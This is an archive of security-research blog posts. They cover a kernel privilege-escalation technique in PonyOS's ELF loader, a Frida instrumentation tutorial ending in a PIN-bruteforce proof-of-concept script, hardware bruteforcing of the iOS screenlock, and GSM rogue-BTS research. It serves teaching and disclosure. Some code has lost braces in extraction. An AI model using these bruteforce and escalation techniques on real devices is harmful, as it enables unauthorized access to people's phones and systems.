Wednesday, 23 September 2015

We've moved...

This blog has now moved, all future blog posts can be found on our new site.

Be sure to check out our new site for the latest news and groundbreaking security research!

Friday, 29 May 2015

My Lulzy Pwniez - Abusing the ELF loader in PonyOS

PonyOS is a hobby Unix-like operating system that uses it’s own kernel, built from scratch. This makes it a great research target for exploring software exploitation concepts. The OS is actually a variant of Toarus written by Kevin Lange and this post is relevant to both variants, however as the author prefers ponies we will stick to referring to it as PonyOS. I decided to attack the OS by reviewing some of the kernel code as a limited user-space environment is provided with very limited user separation and no real attack surface. Auditing the PonyOS source code identified a number of vulnerabilities such as a lack of bounds checking in memory allocators (e.g. in sbrk()) to a lack of checking permissions on the file system (e.g.! Here is one of the more interesting vulnerabilities and the steps taken to exploit it.

PonyOS supports the Extensible Linking Format (ELF) file format for executable programs and the kernel contains an ELF loader responsible for mapping a binary from disk into memory and executing it. PonyOS performs this functionality when ELF magic bytes are read from a binary, the ELF loader can be found in “kernel/misc/elf.c”. PonyOS has a very simple ELF loader that performs no checks on where it attempts to load an ELF binary. It was discovered that by abusing the ELF loader we could influence a memcpy() when mapping an ELF binary from disk to memory simply by providing an ELF section header with an address pointing to anywhere we like. The vulnerable code can be seen on line 70 of kernel/misc/elf.c. The ELF section header is completely user controlled meaning sh_addr, sh_offset and sh_size can all be influenced by the user.  The vulnerable code is shown below:

memcpy((void *)(shdr->sh_addr), (void *)((uintptr_t)header +shdr->sh_offset), shdr->sh_size);

The ELF header is malloc()’d into the kernel heap on attempts to execute an ELF binary, as can be seen on line 17 of the same file:

Elf32_Header * header = (Elf32_Header *)malloc(file->length + 100);

By abusing the ELF section headers we are able to write arbitrary data anywhere we like in memory, with kernel privileges. Now we need to write something, somewhere to elevate our privileges from “local” to “root”. PonyOS contains a sys_setuid() system call however it is disabled for any user other than root. This seemed like a good target to over-write as simply disabling the root check would provide a simple privilege escalation attack within the syscall table. We also wouldn’t need to find our current_process and modify any internal kernel structures. A disassembled output of sys_setuid(); follows:

In theory it should therefore be possible to overwrite the JNE instruction at 0x0010f103 and evade the privilege check. By crafting an ELF executable with a section header address of 0x0010f103 (sys_setuid location within our kernel image) it is possible to write two NOP bytes into the syscall, allowing any other process on the system to obtain root by calling our modified function. The syscall ISR is 0x7F on PonyOS and the syscall number is 0x18. We wrote a simple ELF binary generator, rainbowdash.c, which when run will output a malformed ELF binary that abuses the write anywhere primitive to perform this patch. You can download our exploit for educational purposes here.

The screen shot below shows an example of the exploit being run and the “setuid” code being executed which simply spawns a shell after executing the patched syscall.

This blog post was written by @hackerfantastic

Thursday, 2 April 2015

Instrumenting Android Applications with Frida

As you may have heard, our latest publication the Mobile Application Hacker’s Handbook is out. When you’re writing a book you have to agree a number of things with the publisher beforehand, one of which is the page count, and in our case this was initially set at 600 pages. However what we found when we got close to completion was that we actually had much more content than we had originally anticipated, so some of it still didn’t quite make the cut. One of the areas we wanted to include but didn’t, was how to instrument Android apps using Frida – some of this had already been covered in Chapter 4 with regards to iOS apps and would have meant an overlap in content. However we still think it’s pretty interesting and unique so decided to distill some of this in to a blog post!

Instrumenting mobile applications is nothing new; in fact we first started talking about it back in 2011. So why the need for another blog post talking about instrumentation I hear you ask? Well this time we’re going to discuss a relatively new and unexplored framework called Frida, which addresses some of the shortcomings of other publicly available instrumentation tools like Substrate and Xposed.

Frida is a truly awesome framework developed by Ole André Vadla Ravnås and Karl Trygve Kalleberg. The toolkit works using a client-server model and lets you inject in to running processes not just on Android, but also on iOS, Windows and Mac (and soon QNX!) – this alone is fairly awesome, but when you find out Frida also has python bindings you start to get an idea of just how powerful it can be! One of the benefits Frida offers over Substrate and Xposed is that it is standalone – you don’t need to install anything nor do you need to reboot to instrument; all you need is the frida-server binary. Furthermore, you can inject with Frida at any point during the runtime of your process (in a similar way to cycript on iOS), which gives you the flexibility to test your app in a given state. For example, you may wish to inspect certain objects to see if they contain key material when an app is in a locked state – this was previously tricky to achieve dynamically and without debugging your app.

Setting Frida up is a relatively simple task, on the client-side just run “easy_install frida”. On your device you then need to grab the frida-server binary and launch it:

root@mako:/data/local/tmp # wget
Connecting to (
frida-server         100% |*******************************| 12118k  0:00:00 ETA
root@mako:/data/local/tmp # chmod 700 frida-server root@mako:/data/local/tmp # ./frida-server -t 0

Once the server is running, that’s all you have to do on the device.

Your Frida client talks to the frida-server over a TCP socket so next you need to forward the relevant TCP ports over the USB connection (or wifi if you prefer) using ADB:

redpill:~ dmc$ adb forward tcp:27042 tcp:27042
redpill:~ dmc$ adb forward tcp:27043 tcp:27043

At this stage you should be ready to start instrumenting – as a simple smoke test run frida-ps to get a process listing:

redpill:~ dmc$ frida-ps -R
 204 adbd
2375 android.process.acore
 179 bridgemgrd

Next you can start to instrument an app using the Frida python bindings. The first thing you need to do when instrumenting an app is to attach to it – you can achieve that using the attach method called on a device object:

session = frida.get_remote_device().attach("com.mahh.secretsafe")

The session object allows you to get information, as well as manipulate your target process. For example, by calling the enumerate_modules() method we can get a host of information about what modules are loaded in our process, and where:

>>> print session.enumerate_modules()
[Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="", base_address=0x400b0000, size=36864, path="/system/lib/"), Module(name="", base_address=0x400bb000, size=12288, path="/system/lib/"), Module(name="", base_address=0x400c0000, size=53248, path="/system/lib/"), Module(name="", base_address=0x4011b000, size=4096, path="/system/lib/"), Module(name="", base_address=0x4011e000, size=98304, path="/system/lib/")
To start using the JavaScript API, you’ll need to build a block of JavaScript and push it to your session using create_script()The JavaScript API can be used to instrument classes within your target app. You can find some Android specific examples in the API here. Let’s walk through some simple examples:

Get a JavaScript wrapper for a class:

Dalvik.perform(function () {
    var MyClass = Dalvik.use("com.mdsec.MyClass");

If the class constructor took a String object as a parameter, you could then create a new instance of the class using the following:

var MyClass = Dalvik.use("com.mdsec.MyClass");
var MyClassInstance = MyClass.$new(“MySecretString”);

To invoke a method from our newly created instance, you can simply call it with the appropriate parameters. For example, to call the MyMethod method of the MyClass, you might do something similar to the following:

var result = MyClassInstance.MyMethod();

If you now wanted to replace the implementation of MyMethod to return false, you might do something like:

MyClass.MyMethod.implementation = function()
            return false;

The Android Context is useful to gain information about your app and it’s environment. Not only that, it’s widely used in apps so it’s likely that you will need to find a way to access it. To get the Android Context, we found the following example works well:

var currentApplication = Dalvik.use("").currentApplication(); 
var context = currentApplication.getApplicationContext();

To register your JavaScript code in the app session you need use the create_script() method to push it to your session. For example:

script = session.create_script(jscode)

In order to receive data from your JavaScript code in your Python session, you need to register a message handler. To register a message handler first create method:

def on_message(message, data):
    print message

then register it using the on() event handler:

script.on('message', on_message)

To send a message to your message handler, you can use the send() JavaScript method. For example, to send your Context object back to the Python client you might do something like:

Dalvik.perform(function () {
    var currentApplication = Dalvik.use("").currentApplication();
    var context = currentApplication.getApplicationContext();

This results in the following being returned, providing the address of our app’s Context object:

{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}

Now we’ve covered the Frida basics, let’s look at how it can be used in a practical example using the LolliPin screen lock library. We implemented the LolliPin in to a simple application so that it presents you with a screen lock when the app is loaded:

As the PIN is validated locally, it is of course possible to bruteforce it using instrumentation. To achieve this we need to find where the PIN validation is performed. A cursory review of the code revealed the following method in the AppLockImpl class could be used:

For the moment, we’ll ignore LolliPin’s other obvious failings and just focus on how the PIN can be bruteforced, as client-side authentication is a common problem and can often be attacked in this way in much more interesting software such as MDM applications.

One option would be to create our own new instance of the AppLockImpl class, but for the sake of saving some memory let’s just use an existing one. Analysing where the AppLockImpl class is used in the application reveals the getAppLock() method in the LockManager, which returns a static singleton of type AppLock. This is in fact just an abstract class for the AppLockImpl class we are interested in:

 Fortunately LockManager also has a useful helper method to get the singleton instance for itself:

Putting this together, it should be possible to invoke checkPasscode() by first getting a the singleton instance of LockManager using LockManager.getInstance(), then invoking the getAppLock() method on the object. Let’s see how this looks using the Frida JavaScript API:

var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();

To iteratively run checkPasscode() in a loop you can do something similar to the following:

for(var i=1230; i<1235; i++)
    var result = AppLock.checkPasscode(i+"");
    send(i + ": " + result);

This causes checkPasscode() to be invoked using the values 1230 to 1235 (we know the PIN is 1234). Note that we simply concatenated an empty string to force the PIN code attempt to be converted to a String value. Running the simple proof of concept returns the following:

[*] Bruteforcing PIN code
[*] Testing PIN 1230: false
[*] Testing PIN 1231: false
[*] Testing PIN 1232: false
[*] Testing PIN 1233: false
[*] Testing PIN 1234: true

The final proof of concept Frida script looks as follows:

# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
import frida,sys
def print_result(message):
            print "[*] Testing PIN %s" %(message)
def on_message(message, data):
jscode = """
Dalvik.perform(function () {
    var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
    var LockManagerInstance = LockManager.getInstance();
    var AppLock = LockManagerInstance.getAppLock();
    for(var i=1230; i<1235; i++)
            var result = AppLock.checkPasscode(i+"");
        send(i + ": " + result);
process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe")
session = process.session
script = session.create_script(jscode)
script.on('message', on_message)
print "[*] Bruteforcing PIN code"

If you’re interested in learning more about mobile application hacking, we’re running a training course this month at @44con in London where Frida and much, much more will be covered.

Get in touch to find out more about MDSec’s mobile testing services.

This blog post was written by Dominic Chell (@domchell).

Friday, 27 March 2015

Upcoming Training Events 2015

If you're interested in web and/or mobile security and want to learn some cutting-edge techniques, then we have just the thing!

This April and June we're running two training courses from the Hacker's Handbook series in London. Don't miss out on this opportunity to get hands on, instructor-led training from the authors.

We've partnered with 44Con to bring the very first Mobile Application Hacker's Handbook Live training this April. The course follows chapters 1-9 of the book (which sold out in under 24 hours!) and
has a strong focus on practical attacks. Over the 2-day training course delivered by the lead author Dominic Chell, delegates will learn the tricks and techniques to hack mobile applications on the iOS and Android platforms.

So if you've read the book and want to learn more, or you just want to hack Android and iOS, then sign up today!

Mobile not your thing? Don't worry, we've got you covered! In London this June, we're offering seats on our popular Web Application Hacker's Handbook Live course. The course will be run by Marcus Pinto, co-author of the book, and follows the chapters of the 2nd edition of the Web Application Hacker's Handbook. Not only that, but we're offering 8 hours of self-paced learning with access to the online training materials that you can use to continue your learning at home!

So if you want to know how to get the most out of BurpSuite or pop a SQLi at 30 paces, then sign up today!

Wednesday, 11 March 2015

Apple iOS Hardware Assisted Screenlock Bruteforce

We recently became aware of a device known as an IP Box that was being used in the phone repair markets to bruteforce the iOS screenlock. This obviously has huge security implications and naturally it was something we wanted to investigate and validate. For as little as £200 we were able to acquire one of these devices and put it to work.

Although we’re still analyzing the device it appears to be relatively simple in that it simulates the PIN entry over the USB connection and sequentially bruteforces every possible PIN combination. That in itself is not unsurprising and has been known for some time. What is surprising however is that this still works even with the “Erase data after 10 attempts” configuration setting enabled. Our initial analysis indicates that the IP Box is able to bypass this restriction by connecting directly to the iPhone’s power source and aggressively cutting the power after each failed PIN attempt, but before the attempt has been synchronized to flash memory. As such, each PIN entry takes approximately 40 seconds, meaning that it would take up to ~111 hours to bruteforce a 4 digit PIN. 

We tested the attack on an iPhone 5s running iOS 8.1; a video of our results can be found here:

Further research suggests this could be the issue detailed in CVE-2014-4451 but this has yet to be confirmed. We plan to test the same attack on an 8.2 device and will update with our progress. In the mean time, our advice to all is ensure you have a sufficiently complex password applied to your device rather than a PIN.

Hardware used in the attack shown below:

The internals of the IP box

The iOS 8 adapter

Inside the iPhone 5s

Success, PIN found!

This blog post was written by Dominic Chell (@domchell).

Wednesday, 25 February 2015

The Mobile Application Hacker's Handbook

Following on from our previous publications in the Hacker's Handbook series, MDSec's director Dominic Chell has co-authored a new book on how to secure mobile applications.

The Mobile Application Hacker's Handbook, which sold out in under 24 hours of its release on Amazon, is a comprehensive guide to securing all mobile applications by approaching the issue from a hacker's point of view. Heavily practical, the book provides expert guidance toward discovering and exploiting flaws in mobile applications on the iOS, Android, Blackberry, and Windows Phone platforms.

The book's companion site provides a repository for source code and other resources from the book, as well as details for MDSec's companion training course where you can learn how to not only hack but also secure mobile applications from the lead author.

The Mobile Application Hacker's Handbook was published 24th February 2015 and was co-authored by Tyrone Erasmus, Shaun Colley and Ollie Whitehouse. Dominic and MDSec would like to thank the other authors for all their hard work in helping make this publication happen.

Thursday, 20 November 2014

44Con 2014: GreedyBTS - Hacking Adventures in GSM

At 44CON in September 2014, MDSec presented "GreedyBTS: Hacking Adventures in GSM" where we discussed our research of 2.5G network attacks against mobile devices. We outlined many existing known weaknesses in the GSM protocol, discussed in detail how to build a safe simulation environment of 2.5G for security research and presented an overview of GreedyBTS.

GreedyBTS is a firmware image for use with USRP E-series devices to assist in performing 2.5G attacks against MS from a BTS. We demonstrated how calls, SMS and data from a subscriber MS could be trivially intercepted by a BTS. We are also able to launch exploits against a connected MS allowing for traditional IP based attacks to be launched against mobile devices.

GreedyBTS can be used to assist security researchers and analysts performing assessments of mobile connectivity in environments, as well as highlighting risks to organisations who may transfer potentially sensitive information over wireless devices. An increasing number of embedded systems have turned to GSM as a management channel, such as alarm panels, street lighting, safety systems and more, which could all be susceptible to man-in-the-middle and rogue BTS attacks.

The current state of baseband security means that it is difficult to detect and determine if you or your devices are being targeted by malicious BTS environments. The tools that do exist are aimed at power users which makes wider adoption by business or consumers an increasingly difficult task. By sharing information that can assist security researchers we hope to increase the overall security of mobile devices and cause people to re-think how they handle sensitive information over GSM environments.

The slides from our presentation are included here:

We have also included brief video demonstration outlining the capabilities of greedyBTS here:

If you want further information please see our 44CON 2014 presentation video which can be obtained by itself or as part of the DVD available at